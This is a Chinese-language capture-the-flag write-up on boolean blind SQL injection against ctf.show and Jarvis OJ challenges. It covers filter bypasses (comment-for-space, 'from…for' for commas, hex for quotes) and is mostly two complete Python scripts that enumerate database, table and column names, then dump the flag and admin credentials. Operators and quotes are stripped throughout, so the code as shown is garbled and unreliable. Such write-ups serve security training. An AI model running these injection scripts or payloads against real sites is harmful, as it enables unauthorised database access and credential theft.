进入页面后访问三个文章发现参数id考虑存在sql注入尝试注入的过程中发现存在过滤抓包fuzz一下发现长度979的字符都被过滤了绕过方式空格绕过/**/and绕过or逗号绕过from 1 for 1,如substr(database(),1,1) substr(database() from 1 for 1)单引号绕过可以考虑转十六进制如user python代码 (user).encode().hex()这里注意单引号被过滤的情况下字符串注入基本就没戏了因为无法闭合但字符型注入还有操作空间因为字符型注入不管闭合与否结果不变回显注入没可能了尝试布尔盲注这里发现访问正常逻辑页面和错误逻辑页面不同布尔盲注可行通过脚本爆破出flag正常逻辑错误逻辑以if作为判断条件构造paylpoadhttp://2102cd05-573c-42d9-992b-403c2af22b85.challenge.ctf.show/index.php?id-1/**/or/**/ascii(substr((database())/**/from/**/1/**/for/**/1))128脚本#-*-coding:utf-8-*- import requests import time host http://055b4454-f1ad-4593-8acc-026894769c0a.challenge.ctf.show//index.php?id1 def getDatabase(): #获取数据库名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload -1/**/or/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))%d % (i,mid) res requests.get(hostpayload) if if in res.text: high mid else: low mid 1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid - 1) print(database is - ans) def getTable(): #获取表名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload -1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemadatabase())/**/from/**/%d/**/for/**/1))%d % (i, mid) res requests.get(hostpayload) if if in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(table is - ans) def getColumn(): #获取列名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload -1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name\flag\)/**/from/**/%d/**/for/**/1))%d % (i, mid) res requests.get(hostpayload) if if in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(column is - ans) def dumpTable():#脱裤 global host ans for i in range(1,10000): low 32 high 128 mid (lowhigh)//2 while low high: payload -1/**/or/**/ascii(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/%d/**/for/**/1))%d % (i, mid) res requests.post(hostpayload) if if in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(dumpTable is - ans) dumpTable()flagctfshow{a164514e-efb2-44f6-8a3e-2964daef2db4}这是get传参的布尔盲注脚本下面分享下post传参的布尔盲注脚本#-*-coding:utf-8-*- import requests import time host http://web.jarvisoj.com:32787/login.php def getDatabase(): #获取数据库名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload 1^(ascii(substr((select(database())),%d,1))%d)^1# % (i,mid) param {username:payload,password:admin} res requests.post(host,dataparam) if 用户名错误 in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(database is - ans) def getTable(): #获取表名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload 1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schemadatabase())),%d,1))%d)^1# % (i, mid) param {username: payload, password: admin} res requests.post(host,dataparam) if 用户名错误 in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(table is - ans) def getColumn(): #获取列名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: payload 1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_nameadmin)),%d,1))%d)^1# % ( i, mid) param {username: payload, password: admin} res requests.post(host, dataparam) if 用户名错误 in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(column is - ans) def dumpTable():#脱裤 global host ans for i in range(1,10000): low 32 high 128 mid (lowhigh)//2 while low high: payload 1^(ascii(substr((select(group_concat(username,0x3a,password))from(admin)),%d,1))%d)^1# % ( i, mid) param {username: payload, password: admin} res requests.post(host, dataparam) if 用户名错误 in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(dumpTable is - ans) dumpTable()
